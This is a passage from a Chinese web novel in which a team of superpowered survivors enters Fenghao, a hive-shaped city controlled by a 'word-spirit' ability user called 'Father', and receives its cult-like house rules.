“伏苓,走了。”程承的声音传来,其他人已经闹闹哄哄地出了屋子,他站在门口,笑着朝她挥了挥手。
伏苓应了一声,起身拍了拍再一程的肩膀:“不用送了,我们走了。”
她走到程承身边,程承朝着再一程挥了挥手,才好奇道:“你们俩说什么呢?”
伏苓:“说我们把人家存粮都吃完了。”
程承呆愣一瞬,顿时有点紧张:“啊?那我们把车上的吃的留给他们一点?”
伏苓勾了勾唇:“他说不用,你也太瞧不起人家了。”
属于荥城的强者,怎么会找不到粮食?
到了楼下,林随遇站在车前,笑嘻嘻地问:“今天我们……”
程承抢答:“你开吧。”
本来他开车也只是赶鸭子上架,林随遇愿意开他高兴还来不及呢。
当然,他也很乐意开S47,既不需要什么操作,手感也非常好的。
林随遇顿时喜笑颜开:“好啊好啊。”
除了林随遇,其他人都爬上了后座。
林随遇启动发动机,看着他们鱼贯而入地上了后座,气笑了:“没人在副驾帮帮我吗?”
林随安安详地躺在座椅里:“没有,反正人家车自己会开,哪还需要副驾?”
“好吧。”林随遇指向前方,面露兴奋:“向西方进军!”
车轮缓缓转动,遍体漆黑的越野车如同一头苏醒的巨狮向前奔去,扬起的尘沙落下。
再一程站在不远处,目光落在那辆不断加快速度的越野车上。
车子渐行渐远,直到消失在他的视野里。
他突然觉得。
他可能一辈子都没办法再遇见像他们这样的先行者了。
哪怕伏苓说的那句确实在理,他们也已经跟留在原地的自己不是一类人了。
*
沿途的几座小城核心算不上难破,加上从四面八方涌来了许许多多的异能者协助,伏苓他们破除核心的速度极快。
不出一周,他们已经踏入了丰镐的地界。
宽阔的高速上,不知不觉多了好些各式各样的车,沿途的路边也有一队又一队的人向前行进。
祝无忧胳膊搁在副驾车窗上,好奇道:“不是说不让靠近丰镐吗?怎么这么多人?”
明明几日之前离开自己城池的人还只在少数。
“说明大家对感染者已经没那么害怕了,也就对丰镐也没那么怵了。”林随遇欢快地摁了几声喇叭,惹得周围车辆也跟着摁喇叭附和。
此起彼伏的喇叭声,路边随着喇叭声欢呼挥手的人群,让众人恍惚间以为回到了曾经那个和平的年代。
林随安眼中露出几分怀念:“好像很久没有这么热闹了。”
伏苓打了个哈欠,满脸困倦地坐直身体:“前面。”
她冷不丁出声,令众人皆是一惊,纷纷看向前方。
满目荒凉之中,伫立着一座无比巨大的建筑。
远远看去,第一印象就是高,非常高。建筑顶部高耸向上,仿佛要直接穿透云霄。
众人离近了些,才意识到那并不是一个庞大的建筑,而是如同一个保护罩一般将整个丰镐裹在其中。
这样的做法与集庆的黑色壁垒很是相似,但没有一个人觉得这两个城市是一样的。
因为集庆的黑色壁垒很容易就可以看出来那只是一层类似保护罩的存在,而面前的建筑不一样,它给人的感觉非常厚重,而不是单单只有表面的那一层。
如果非要形容的话,可能就像将一栋栋住满人的楼房严丝合缝地贴在一起围成一个没有间隙的巨大罩子。
程承将手中的地图折了一道又一道:“看上去像个蜂窝。”
那建筑中间大,上下小,虽然看得不是很清楚,但也是察觉到其表面不是常见的光滑样式,而是显得坑坑洼洼,就像一个巨大的蜂巢。
更人触目惊心的是,那建筑周围游荡着众多身形扭曲,衣衫褴褛的感染者。
听见汽车的鸣笛声,他们如同猛虎听到猎物的声音一般猛地转过头来,一双双空洞的眼眸中只有冰冷的凶光。
看到不断向他们靠近的众人,感染者顿时兴奋了起来,连滚带爬地向他们冲来,速度之快,仿佛下一秒就要扑上来啃咬掉他们的喉咙。
林随安敲了敲祝无忧的椅背:“快关窗户。”
眼看感染者就要扑过来,祝无忧手忙脚乱地关上车窗。
林随遇身体微微倾斜,手臂猛地带动方向盘,干脆利落地用车身将感染者撞飞。
祝无忧:“我去,漂移啊。”
林随安手心贴在车窗上,目光飞快地锁定周围被感染者缠住的人:“帮他们一下吧。”
话音落下,原本已经快扑到那些异能者身上的感染者直接消失不见,下一瞬出现在了距离他们几公里的后方。
“哇哦!”林随遇怪叫一声:“随安牛逼。”
林随安白了他一眼:“闭嘴。”
真是吵死了。
伏苓没忍住笑了一声。
程承一只手搭在副驾上,身体微微前倾,目光飞快地扫了一圈前方的感染者数量:“有点多啊。”
他指了指高速尽头、蜂巢下方的大门:“我们得从这进去,但路上有太多感染者了,横冲直撞可能不太行。”
林随安插嘴:“你的异能不是能勾引他们吗?把他们引走呢?”
程承沉默了两秒,纠正道:“不要说得那么难听,什么勾引不勾引的。”
但想来想去,似乎也只有这个办法了,他叹了口气:“好吧,那你们辅助我一下。”
得到众人回应后,他正准备放出血兔来,就听到大门的方向传来了一道温和的声音:“又有新朋友来了啊,让出道来吧。”
声音带着些许电流声,让音色变得模糊不清,但就在话音落下的那一瞬,所有感染者都短暂地停下动作,目光陡然变得呆滞,然后在众人震惊的目光中缓缓迈开步子,向两侧散去。<
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只几个呼吸间,一条宽阔大路便被让了出来。
操控感染者?
这简直闻所未闻。
祝无忧指着前面,有些颤抖地问:“这是……什么情况?”
感染者怎么会听这道声音的话?
“欸,兄弟。”隔壁稳稳停下了一辆车,里面的人摇下车窗,露出一张不怎么显目的面容,声音透过越野车的车窗沉闷地传进来。
林随遇也摇下车窗,胳膊抵在车窗上,散漫道:“怎么样?进去吗?”
那人笑了一下:“不知道,感觉这里怪怪的。广播不是说不要越过丰镐以西吗?我们毁了几个核心,有点飘了。看到这场景,现在我们都在犹豫要不要回去了。”
能走到这里的都不是什么弱者,但就算见过再多强大的异能和感染者,如今遇到眼前这副诡异的场景,任谁都会怵。
林随遇赞同地点点头:“这边确实不太对劲,我们也准备先回去了。”
程承在后面补充:“肯定是异能,会是什么呢?操控感染者?”
他皱紧眉头,总觉得不太对。
按道理来说,就算异能是操控感染者,也不可能同时操控这么多感染者。
程承扫了一圈。
这边聚集的感染者起码得有上千人,真的会有人能同时操控上千人吗?
林随安:“我猜这人应该是丰镐核心的受益者,所以他的异能才会这么骇人。”
程承摇摇头:“恐怕不止,外面这么多感染者,他一句话就全部操控住了,这绝不是正常地得益于核心。我猜,丰镐的核心只属于这一个人。”
如果核心的力量尽数归属于一人,那这人的实力会强到什么地步?
程承不禁有些后背发凉。
他没有伏苓那般准确的直觉,但此时也隐隐意识到了这次的丰镐之行必然不会太过顺利。
祝无忧瞧着隔壁大哥已经挥手告别林随遇准备掉头离开了,她问:“我们也走?”
林随遇笑嘻嘻地冲那人摆摆手,对她回道:“先把普通民众哄到安全地带,这种危险的大城核心还是由我们单独来销毁吧。”
祝无忧肃然起敬:“好有觉悟哦。”
林随遇木着脸:“你怎么阴阳怪气的?”
“但他刚才是不是说了——”伏苓手肘抵在窗上,托着腮,目光直直地看向大门:“又?”
她一句落下,程承微微睁大眼睛。
又?
是响应广播号召的异能者也进去了吗?
周围这么多感染者,他们是怎么进去的?
如果是遇到了与他们一样的场景,那为什么没有察觉到不对掉头离开?
他意识到不对劲,猛地转头:“不对——”
“哎呀呀,让主人久等可不好哦,快进来吧。”温润的声音打断了程承的提醒。
所有人如同在一瞬间被无形的力量击中,丝毫动弹不得,思绪被纸糊住,只能机械地跟随说话之人的引导。
一辆辆车有序穿过大门,沿着泛着微弱灯光的车道来到了地下停车场。
车停稳的那一瞬间,众人顿时回神,林随遇手掌抵着方向盘,惊魂未定地喘着气:“怎么回事?我刚刚……怎么启动车子了?”
伏苓动动脖子,眼中闪着危险的光芒。
这种被控制的感觉,真是令人烦躁。
她都已经有些忍不住想直接炸了这整栋楼了。
突然,她紧握的拳头被人轻轻拍了拍,伏苓不耐烦地抬头,对上了程承沉静的眸色,他轻声道:“没事,我在。”
莫名其妙。
伏苓移开目光,不懂他为什么莫名其妙地来这一句。
但更莫名其妙的是,她躁动到想杀人的情绪却被这句略显温柔的话语抚平了。
程承凑近了些,熟悉的气息钻进她的鼻子里,他低头,小声说:“楼里太多人了,不能炸。”
伏苓又把头转过来,跟他对视了一秒后再次转了回去。
这人是算命的吗?怎么她想什么他都知道?
察觉到后座的人情绪被程承三言两语稳定下来,林随安朝着祝无忧挑了挑眉。
后者憋不住笑了一声,小声道:“这就哄好了?”
林随遇也从方才被控制的情绪从抽出思绪,跟他们两抵着脑袋嘀嘀咕咕:“伏苓好像已经好久没情绪失控了吧?”
他可是还记得之前初遇伏苓时对方暴戾的神情,没想到这也就相处了不到一个月,程承就已经能完美掌控伏苓的情绪了。
林随安长长地“嗯”了一声:“在集庆打我们的时候可残暴了。”
林随遇直点头,明显是还对当时的场景心有余悸:“直接给我们打服了。”
“哦!”祝无忧竖起食指,突然想起什么来:“说起来,程承也是被打服的,我也……算是吧?”
她不一样,没被打直接跪地求饶了。
跟这些被打得屁滚尿流的人来说,她还算是识时务了。
毕竟他们四人的结果是一样的嘛。
林随遇:“……你自豪个什么劲?”
伏苓:“你们很闲?”
她冷不防插进来,吓得他们仨一瞬间散开了。
程承弯了弯眼:“我们伏苓就是这么厉害。”
祝无忧意味深长:“哦~”
伏苓:“闭嘴。”
祝无忧:“哦。”
程承笑得幸灾乐祸:“叫你嘴贫。”
伏苓:“你也闭嘴。”
程承:“哦。”
林随遇坐在前排,捂着脸憋笑憋得艰难。
车窗被敲了两下,林随遇愣了一瞬,抬眼看去。
是之前跟他说准备离开的那位大哥,他如今已经没了方才的轻松,取而代之的是眉间散都散不开的忧愁和恐惧。
林随遇没开窗,转头正色道:“下车?”
程承“嗯”了一声,但却没动作,而是问道:“你跟随安肯定是想保护他们吧?”
林随遇看了一眼林随安,两人皆是沉默一瞬,答道:“是。”
林家兄妹到底是军方长大的,遇到这种事情第一反应就是保护普通人。
程承点点头:“我理解,但,在此之前,你们的生命更重要。”
伏苓靠着车壁:“我们还有更重要的事情,不能倒在这里。”
蜂巢给她的感觉太不好了。
无论是突然出现的强大异能者,还是无数被拉进来的民众,都让她隐隐感觉到不爽。
程承赞同地点点头:“总之,一切以我们的生命安全为重。这次毁不掉核心还可以重来,不必急于一时。”
得到众人的回应,伏苓一声令下:“走。”
见他们下来,那位大哥退后了两步,有些紧张地问:“刚刚……你们是不是也不受控制了?”
“别动。”
那大哥的声音卡在喉咙里,他浑身无法动弹,只能用眼珠的转动表达出自己的惊恐。
铺天盖地的威压再次死死压在众人身上,让他们连气都快喘不过来。
遭了。
若是在此时有人发动攻击……
还没等他们动作,那道声音再次响起:“进来了?那就去死吧。”
54. 百世同堂02
一瞬间,肃杀的气息从四面八方涌向众人,死亡的气息近在眼前。
“暂停。”清冽的声音从不远处传来。
话音落下的瞬间,铺天盖地的威压和肃杀戛然而止。
或者,与其说是戛然而止,不如说是所有的攻击都停在了原地。
与此同时,众人也短暂地恢复了行动。
程承目光沉沉地看向不远处。
是谁?
熙熙攘攘的人群缓缓让出一条道来。
一个身形颀长的男人从中走出,稍显宽松的黑衣却勾勒出了他的身形。他面上没什么表情,眉眼淡淡,一双眸子仿佛幽深宁静,显得他的气质出尘,与周围人群格格不入。
祝无忧捂脸:“你们别这样让道,我害怕。”
刚刚在外面那群感染者就是这么让道的。
祝无忧感觉自己都快对着霸气炫酷的出场有阴影了。
男人嘴角微微抽了抽,颔首道:“抱歉。叫我楚河就好,来自梁洲。”
楚河?
程承与伏苓对视一眼。
这个名字他们之前在论坛听说过。
没想到实力居然如此惊人。
楚河声音冷淡:“我的异能抵抗不了太多时间,顶多还有三秒就要破碎,建议大家立刻防御。”
程承立马大面积铺开红雾。
空气中仿佛有什么无形的屏障破碎开来,属于外界的风瞬间涌入。
但奇怪的是,那股肃杀的气息却荡然无存。
楚河微微蹙眉:“攻击撤回了。”
闻言,虽然大家都很疑惑,但还是不免松了一口气。
方才无影无踪的攻击实在太过惊人与恐怖,如非必要,没人愿意再对上这样强大的异能者。
程承思索:“那人应该是类似于言灵的异能。”
他之前的猜测还停留在控制感染者,但经此一遭,若是还以为这人只能控制感染者,那就太傻了。
思来想去,似乎也只有“言灵”能解释他们方才的情况。
所谓言灵,自然是指所说的一切都会成真。
那大哥面色苍白了几分:“这可真是……”
林随遇摸摸下巴:“这种言灵的异能,是不是只要听不见他说话就不会被控制了?”
那只要堵住耳朵就能轻易破解了吗?
林随安觉得没这么简单,但此时他们了解的信息太少,还不足以证实这些猜测:“之后可以试试堵住耳朵,但还是需要随机应变,以防这人的异能太过强大。”
祝无忧弱弱举手:“刚刚我们不是说,这个言灵者,很可能是丰镐核心的掌管者吗?那是不是说明,他的异能会比我们想象的更强一些?”
他们本就有意将信息与被迫进入的人共享,祝无忧话一说出口,周围嘈杂的声音陡然安静了下来,恐慌在蔓延。
有人上前一步,小声问道:“那……我们现在还能出去吗?”
早在看到门口的场景时,就已经有不少人打起了退堂鼓。
他们大多都是捣毁了数个小城的核心,没有见识过大型核心的强大实力,而丰镐恐怕是如今实力最为恐怖的核心城市了,他们退缩也是很正常的事情。
毕竟在一旦伤及自己的性命,任何一时兴起的英雄主义都会现出原形。
伏苓扫了一眼方才他们进入的入口。
厚重的铁门早已落下已经有好几个人冲过去试图离开但不管怎么努力,那铁门都纹丝不动。
伏苓开口:“别白费力气了,那道门上有异能的存在。”
砸门的几人动作一顿,心下绝望:“怎么会……”
林随安目光在那道铁门上停留了两秒,突然说:“你怎么知道那道门上有异能?”
一般来说,异能的存在很扎眼,就如同身体中燃着一把熊熊大火。
异能者能察觉到有异能和无异能的区别,无异能者也能一眼感知出对面的人究竟有没有异能。
但在丰镐,这种显目的区别陡然消失了。
林随安感知了许久,都没能从那道铁门上感受到任何异能的存在。她顿了顿,转而将注意力放在了周围人的身上。
这下,她终于发现了不对劲。
原本他们一队五人,除了伏苓没有异能外,其余三人的异能都是顶级的,其存在格外引人注目,几乎不需要刻意感知就能立刻判断出他们是异能者。
特别是站在伏苓身边,那样巨大的区别实在是太过于显眼了。
而此时,这种如同鸿沟一般的区别消失了。
在林随安眼中,周围的所有人都是一个样子,无法判断他们究竟谁有异能,谁没有异能。
伏苓有些意外地看她:“你感受不到吗?”
因为没有感知过异能,无能力者察觉不到这种差别。但可以隐隐约约感受到几缕异能的存在。
林随安摇摇头,表情严肃:“我记得之前有说过,核心的存在会影响很多方面,之前他们都在关注对感染者和对大家体质、异能强度方面的影响。”
她顿了顿:“我在想,有没有一种可能,核心太过强大,也会导致不及它的异能被它覆盖。”
似乎是觉得自己说的不够准确,林随安抿了抿唇。
林随遇立马明白了她的意思,接口道:“比方说,原本大家成绩都差不多,每个人都能向他人展现出自己的实力,但突然来了一个成绩极其突出的人,直接拉开了大家一大截,那所有人的目光就都会放在这个第一名身上,而忽略了曾经也是天之骄子的其他人。”
祝无忧面无表情地“哦”了一声,声音像心脏停止跳动后的心电图:“所以你们意思是,丰镐的核心太过强大,强大到让我们这些异能者都黯然失色了,对吗?”
林随遇打了个响指,笑嘻嘻地说:“Bingo!”
祝无忧捂住脑袋,崩溃道:“冰什么沟啊!那我们岂不是根本打不过!”
“其实也未必完全打不过。”清冷的男声传来,楚河走近了些。
祝无忧停下哀嚎,抬头看去。
程承朝他点了点头:“刚刚没来得及自我介绍,我叫程承。你是怎么想的?”
楚河掀起眼皮,扫了一眼紧紧盯着他们的众人:“我们现在杵在这里,也没办法得到信息,更遑论判断自己能否打得过。我认为,没必要在这里浪费时间做这些无用的推测,里面到底是什么情况,得进去才知道。”
他语气没带上什么情绪,有些堪称嘲讽的话语却在他口中显得没有那么阴阳怪气。
程承笑了笑:“也是。”
他抬起下巴示意了一下唯一亮着灯的出口:“一起吗?”
楚河点点头,率先迈步向前走去。
他身后还跟着五六个人,可能是他的队友,路过程承的时候还朝他友好笑了笑,一位小个子男生凑过来道歉:“抱歉抱歉,楚哥说话总是这样,他没有恶意的。”
程承:“没关系,这样也挺好。”
强者不必在意自己说话的语气。
程承眸光闪了闪,侧头对伏苓道:“这人应该很强。”
原本论坛里的人就把他吹的很神,但程承一直觉得再强也不会强到哪去。可刚刚若不是楚河,他们说不定都得栽在这。
这个人的实力,在他的预料之上。
伏苓来了点兴趣,尾音上挑:“哦?”
程承笑了一声,没再继续这个话题:“走吗?”
林随遇推了程承一下,勾着他的脖子将他往前带:“走啊走啊,你干嘛只对伏苓说走不走?我们不是你亲爱的队友了吗程承同学?”
程承:“……”
伏苓跟在他们后面,跟在一旁的林随安道:“如果是你们猜测的那个情况,为什么我还能感知到异能的存在?”
林随安沉默了两秒,猜测道:“我想可能是因为你不在异能者的行列中吧。”
她顿了顿:“这样说可能不太恰当,我们用哥哥举的例子来说,也许是因为你本身就不在之前的‘优等生’中,所以对‘成绩’的存在就更加敏感。”
伏苓点点头,又侧头好奇道:“所以,在丰镐,周围人都没办法判断我究竟是无能力者还是异能者了?”
祝无忧凑上去,挽住了伏苓的胳膊:“有道理啊!那你会不会有危险?”
伏苓挑了挑眉,还没等她说话,林随安就笑了笑:“你想多了,这件事情估计只能让别人有危险吧?”
伏苓有危险?开什么玩笑。
不管对面认为她是哪个身份,倒霉的都只有其他人。
“堵在这干嘛呢?”林随遇的声音从前方传来。
三人停下交谈,抬眸看去。
他们已经步入了光亮之中。
首先映入眼帘的是高耸的大理石柱和巨大的穹顶。伏苓抬起头看去,穹顶似乎向天空无限延伸,她粗略估计了一下,至少有一百多层。
顶上镶嵌着精美的彩色玻璃,反射出的光芒随着外界照射过去的天光变幻不定。
四周每一层都密集地布满了整整齐齐的房间,如同一座巨大的立体迷宫。
而此时,无数脑袋探出栏杆,距离太远,伏苓看不清他们的神情,但想也知道,那一双双漆黑的眸子都在直勾勾地看向他们。
蜂巢,内部才是真真正正的蜂巢!
祝无忧摸着胳膊上冒起的鸡皮疙瘩,站在原地仰望似乎没有尽头的穹顶,好一会才结结巴巴道:“这、这是……”
她找不出形容词,活了快二十年,她还是第一次见到这般壮观的建筑,仿佛不是这个世间的产物。
“诶,傻了吧。”林随遇笑嘻嘻的声音把她拉回地面。
祝无忧深吸一口气:“你能不能走开?”
林随遇抱着臂:“其实我刚才进来也震惊了一把,这里实在是……”
他绞尽脑汁,最后憋出来一句:“实在是太卧槽了。”
祝无忧:“……个文盲,你不会说可以不说。”
伏苓无视了楼上密密麻麻的目光,打量起了周围的情况。
一步入这里,最引人注目的自然是头顶密集的房间和直抵苍穹的穹顶,但除此之外,他们所处的“大厅”也格外富丽堂皇。
宽敞明亮的空间中央,是一片四周悬空的、拾级而上的巨大台阶,中间摆放着一把红色绒布覆盖的宝座,座椅的扶手上镶嵌着璀璨的宝石。
宝座的背后是一块巨大的白色幕布,上面用血淋淋的文字写着“不要试图反抗”几个大字,在这个气场惊人的场地里显得诡异而惊悚。
宝座正前方的不远处——也就是他们面前,摆放着一排长长的、带着弧度的接待柜,后面站着好几个笑容热情的服务人员。
楚河带领的那队人已经结束办理,从柜台那边离开。
他抬眼看过来,目光锁定在伏苓身上。他走近,黑金的卡在他指尖转了一圈:“这里,很奇怪。”
伏苓抬起下巴,没说话。
“这张房卡……”他抿了抿唇,似乎不知道该怎么说:“算了,你们一会就知道了。”
祝无忧一口气悬在胸口:“……请不要说话说一半。”
楚河看了她一眼,目光再次落在伏苓身上:“你们去了就知道了。”
伏苓“嗯”了一声,率先迈步走向服务柜台。
里面的服务员笑得温和:“女士,是要开房吗?”
伏苓扯了扯嘴角:“哦?我们还能直接离开吗?”
服务员笑容不变:“不可以呢,女士。”
“……那你还问什么?”伏苓毫不客气,点了点自己身后的程承等人:“开,我们一起的。”
服务员抬头扫了他们一圈,笑着指了指竖在柜台一侧的公告板:“女士,你们好像没有看丰镐的规则。每个人的房间都是随机的哦。”
伏苓有些意外地看向一旁的黑色公告板,上面血色字迹密密麻麻,让她下一秒就移开了目光。
她满脸不耐烦:“不想看,你就说要我们做什么?”
程承目光停在公告板上,眉头深深皱起。
服务员:“……好吧。那由我来为您讲解一下有关开房的相关规则,‘父亲’说了,每位客人入住时房间号码随机,且同行者必定不在一个楼层。”
还没等伏苓说话,服务员俯身凑近了些,语气认真,带着浓厚的暗示意味:“与此同时,请不要将您的房间号告诉任何人,否则会受到很严厉的惩罚。”
他面上露出了一幅极其别捏的神情,既崇拜,又恐惧。
他压低声音,将独属于伏苓的房卡递给她,有些神经质地咧开嘴:“不要轻易尝试哦。”
伏苓静静地看着他,低头瞥了一眼服务员手中的黑金房卡。
她伸出两根手指,夹住那张薄薄的卡片,突然弯眼一下:“我偏不。”
话语落下,在服务员惊恐的目光中,她将房卡递到了程承眼前:“我的房间号是……”
她的声音戛然而止,无形的力量带着令人恐惧的威压袭击向她。
血液、肌肉、骨骼,都像是被时间暂停一般停止流动,甚至有那么一瞬间,她的呼吸都被暂停了。
又是这样。
可能是因为身处丰镐内部,她此时受到的攻击相比之前在城外时遭受的攻击要强上十倍有余。
周围的空气陡然凝结,压迫感极强地
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收缩包围,似乎要将她紧紧束缚、压扁、炸开。
但就在那层无形的薄膜快要触碰到伏苓时,她眼中红光闪现。
下一瞬,所有压迫如同破开的气球,在空气中炸裂开来,了无踪迹。
她眼前如同被血雾蒙盖,耳边响起了那道熟悉的温润声音,带着笑意,和彻骨的寒意:“念在我们伏苓女士是第一次违抗规则,就不对你做出惩罚了。这次,只是一次警告,希望接下来别让我看到你违规。”
话音落下,伏苓浑身的束缚在一瞬间解开,停滞在半空的手臂因为惯性大力挥向前方,几乎要将伏苓整个人都带到地上。
一双带着薄茧的大手反应极快地拉住伏苓的手腕,臂弯勾住伏苓的腰,这才让伏苓倒下的趋势停止。
程承将她护在怀里,等她站稳后才急切问道:“怎么了?”
伏苓眸中闪过危险的红光,微张着唇小口地喘息。几秒后,她咬牙:“我要杀了他。”
程承指腹安抚性地摩挲着她的手腕,压低声音:“好,我帮你。”
“好了,女士们先生们。”服务员官方客套的声音响起:“想必这位女士已经受到了‘父亲’的惩罚,你们还要继续违抗规则吗?”
众人的目光惊疑不定地落在伏苓身上,林随安皱着眉小声重复关键字眼:“‘父亲’……”
程承心口一紧,顿时紧张了起来:“刚才发生什么事情了?”
许是担心,程承将伏苓护得很紧,几乎是将她拥在怀中。伏苓鼻尖都萦绕着他身上的淡淡味道,她稍稍冷静了些,却发现自己额间已经满是冷汗。
她脑袋朝前方微微一靠,就抵上了程承的肩膀。
这下,呼吸里都是他的味道了。
伏苓深呼吸了两下,胡乱地将额头的冷汗擦在程承的肩膀上,直起身来,锐利的目光看向服务员。
程承有些无奈地看了一眼自己被微微沾湿的肩膀,顺着伏苓的目光看过去。
那服务员原本高傲的神情陡然一变,他有些畏惧地吞了吞口水,梗着脖子道:“看、看什么看!”
伏苓抬起下巴,点了点他身后的红色宝座:“那个,就是你所谓的‘父亲’的位置吧?”
服务员不太理解她的意思,“啊”了一声。
伏苓没管他,她突然笑了一声。
突兀的笑声在安静的大厅里回荡,仿佛坐上宝座的那个人不是他们口中的‘父亲’,而是她一样。
伏苓歪着头看他,眸中危险的红光隐秘在深邃的瞳孔下,她语气嚣张至极:“告诉你爹,他的命,我会收走的——在他有能力‘惩罚’我之前。”
趁着服务员还在愣神,伏苓又指向那个华丽的宝座:“那个位置的消失,就当作是,我送给他的见面礼吧。”
话音落下,巨大的爆炸声从他身后传来。
服务员猛地转头,只见以那个宝座为中心爆炸点,巨大的余波将周围的台阶一一震碎,破碎的石头散落着砸下深处。
刚从停车场进来的其他人还没来得及感叹此处的宏伟,就被这一出震在原地,一句话都不敢说。
灰尘缓缓落地,那张巨大幕布也被波及,只剩下最上方的“不要”二字,格外滑稽。
趁着众人被爆炸吸引目光,伏苓侧头快速地与程承讲述了一下方才发生的事情。
程承握着她手腕的手微微收紧:“那你……”
伏苓摇摇头:“没事,他好像也没能对我做什么。”
知道伏苓没受伤,程承才低声道:“刚才你只是停顿了一秒左右。”
伏苓意外地抬眼:“一秒?”
她还以为自己被控制了很长时间呢,原来只有一秒?
她面上挂上了些许嘲讽。
这什么牛逼哄哄的‘父亲’,似乎也不过如此嘛?
程承看她的表情就猜到了她在想什么,他眉梢带上了笑意:“不过,还是先不要硬刚。”
伏苓“嗯”了一声:“你们先去开房。”
程承点了点头,走到还在目瞪口呆的服务员面前,礼貌地敲了敲柜台:“你好,办入住。”
服务员僵硬地转过头来,一双眼珠死死盯着他,咬牙切齿:“……好的,先生。”
趁着他们排队办理入住,伏苓找到楚河。
四周的墙壁上挂着壁画和挂毯,靠近墙壁的大片空地上,摆放着华丽的沙发桌椅,每个座位都配备了靠背。座位的旁边,是摆放着香槟和小食的精致茶几。
楚河就坐在这里的沙发上,他垂着眸,不知在思索着什么。
伏苓站在他面前,居高临下地看着他:“你说的不对劲,是指这边的‘规则’吗?”
楚河坐在沙发上,上下扫了她一遍,冷冽的眉眼带上了点意外:“你这么嚣张,居然没事?”
“听上去,你有事?”伏苓站在他面前,微微俯身与他平视,回答起了他的问题:“我猜,可能是因为那人也不是很厉害吧。”
语气嚣张至极。
楚河愣了愣,笑了一声,长长的睫毛几乎要连成眼线:“好吧。”
他点了点自己的队伍,面露严肃:“刚刚我们试图反抗,结果就是——元真消失了。”
“元真?”伏苓直起身,看了一眼散落着坐在周围的楚河队友,他们不是在垂头丧气,就是在皱着眉思索。
楚河点点头,深吸一口气:“就是刚才跟你那位男性同伴打招呼的。”
伏苓想起来了:“所以刚刚那孙子也想带走我,但是没成功?”
还编了个什么念在初犯巴拉巴拉的理由,就是为了掩盖自己的无能?
伏苓笑得更嘲讽了。
楚河若有所思地看着她:“你很特殊。”
伏苓在他一侧空着的沙发上坐了下来,手臂搭在扶手上,随意道:“是吗?”
楚河“嗯”了一声,顶部的灯光洒在他脸上,雪白皮肤下的血管都隐隐约约地显了出来:“不然我也不会只跟你说这地方不对劲。”
她实在是特殊得有些夺目了。
楚河只在追杀令的图片中见过她的惊鸿一面,对她的基本信息不是很了解,后面其他的帖子他也没有时间看。
但即便如此,楚河也还是在看到伏苓的第一眼意识到,这就是那个图片上的女人。
不是因为容貌的相似,而是那股嚣张的气质。
是由于自身实力的绝对强大而从内散发出的自信。
“谢谢你啊。”伏苓不咸不淡地说了一句。
楚河眨了眨眼睛,真诚道:“如果可以的话,希望我们有机会合作。”
“什么合作?”程承的声音从楚河背后传来,一脸防备地看着他。
55. 百世同堂03
楚河短暂地停了一下,转过头去,朝他淡淡点头:“跟你们合作,有机会的话。”
他站起身来,示意他的队友准备离开。
走之前,楚河再次看向伏苓:“在那之前,你不要死了。”
伏苓靠在椅背上,听到这句话笑了一声,懒懒道:“你也是。”
程承目光落在他的背影上,抿了抿唇,慢吞吞地挪到伏苓身边坐下:“你跟他很熟吗?”
“不熟,”伏苓脑袋陷进柔软的椅背里,侧过头去看他:“怎么了?”
程承咳了一声:“没什么,我们都办好入住了。”
说到正事,他总算摆脱了自己身侧萦绕着的莫名其妙的局促,正色道:“在去各自的房间之前,我们先互通一下信息,以防万一。”
林随遇倒在林随安旁边的沙发上,从小茶几上的果盘里掰了根香蕉剥开:“不是说不能告诉别人自己的房间号吗?”
程承笑了笑,眸光中带上里一丝诡谲的光芒:“他只说不能告诉别人房间号,我们只要不直接报出自己的房间号不就好了?”
林随遇把剥开的香蕉递给林随安,看着程承咋舌:“还能这样吗?”
程承看了一眼已经闭上眼睛假寐的伏苓:“在这里,我不太建议我们跟那人硬碰硬,既然如此,不如就钻一下规则的漏洞吧。”
这话说得嚣张又谨慎,祝无忧嘴里还嚼着葡萄,闻言“啪啪啪”鼓起了掌,含糊不清道:“牛逼!”
“但是——”林随安咽下嘴里的香蕉,皱眉问道:“你们的房卡上……有些什么区吗?”
祝无忧眨眨眼睛,去翻自己的房卡:“啊,我还没看我的房间号……”
程承“嗯”了一声,面色沉重:“这也是我想说的,我在芷阳区,34层。”
其余三人看了眼房卡,林随安舒了口气:“我们都在千春区,哥哥在17楼,忧忧在24楼,我在6楼。”
没有完全分开就好。
“可是……”伏苓的声音将他们的注意力都拉了过去,只见那张黑金房卡在她指尖灵活地转来转去,她侧过头,弯了弯眼:“我在栎阳区,79楼。”
程承对上了她的目光。
沉默片刻后,他果断起身,去服务台不知说了些什么。
服务员面色僵硬,强装热情地从身后的小柜子里抽出一张五颜六色的纸递给他。
祝无忧:“……尼玛又是地图?”
程承将地图摊在小茶几上,俯身扫了一眼:“还好,离得不远。”
林随安垂着眸:“你们有没有发现,我们在的这三个区,都在丰镐的边缘地带。”
林随安看着最中心的那个区域:“按照常规的思路,核心应该在这个区域。”
祝无忧凑上去,小声读出了那两个字:“长乐……”
“还记得我们在外面看到的场景吗?”程承指尖无意识地点着桌面:“原本我就在想,从外面看呈蜂巢状的话,最外侧的那一层到底是什么?”
一片寂静中,他扫了一眼众人:“如今,我有一个猜测,有没有可能组成最外侧那层结构的建筑,就是一栋栋住着人的楼房。”
所以他们的房间才会分布在最边缘的几个区,每一个区才会都有着接近数百层的房间,外面才会呈现出那样凹凸不平的形状。
但如果这样的话,这个工程是否有点太大了呢?
他吐出一口气:“但这只是个猜测,具体是什么样子,我们还得继续探查。”
他抬眼:“在各自前往房间所在的区域之前,我们先来总结一下关于丰镐的信息。”
他将地图反过来,在背面用签字笔写了一个“一”。
“第一,核心掌管者的异能是言灵。威力强大,只要定下规则,任何步入它规则范围内的人都不可以违抗,包括感染者。”
“第二,城内有大批本地人,和最近意外闯入的外地人。如非必要,尽量不要伤害到他们。”
“第三,城内有一套‘不容违抗’的规则。有很多份,我刚刚拿了一张过来。”
他从口袋里掏出一张折的整整齐齐的纸,将其展开铺在茶几上。
众人凑了上去。
上面写着:
一、所有入城之人必须办理入住,且房间号不得告知任何人,房卡请妥善保管。十点之前务必进入房间,禁止窜门。
二、餐厅免费供应,开放时间为:早上7点至8点,中午11点至12点,晚上5点至6点,请勿缺席、浪费粮食。
三、浴场开放时间为晚上五点到十点,浴场只有一个出口和一个入口,无法回头。
四、午夜11点至3点,请勿离开房间。
这些还算正常,林随安看到接下来的内容,脸色陡然变得有些难看。
五、‘父亲’降临时,请所有人务必到场!请所有人务必热切地呼唤‘父亲’。
六、‘父亲’是全天下最好的神明!是所有丰镐人民的信仰!请务必狂热地崇拜‘父亲’!
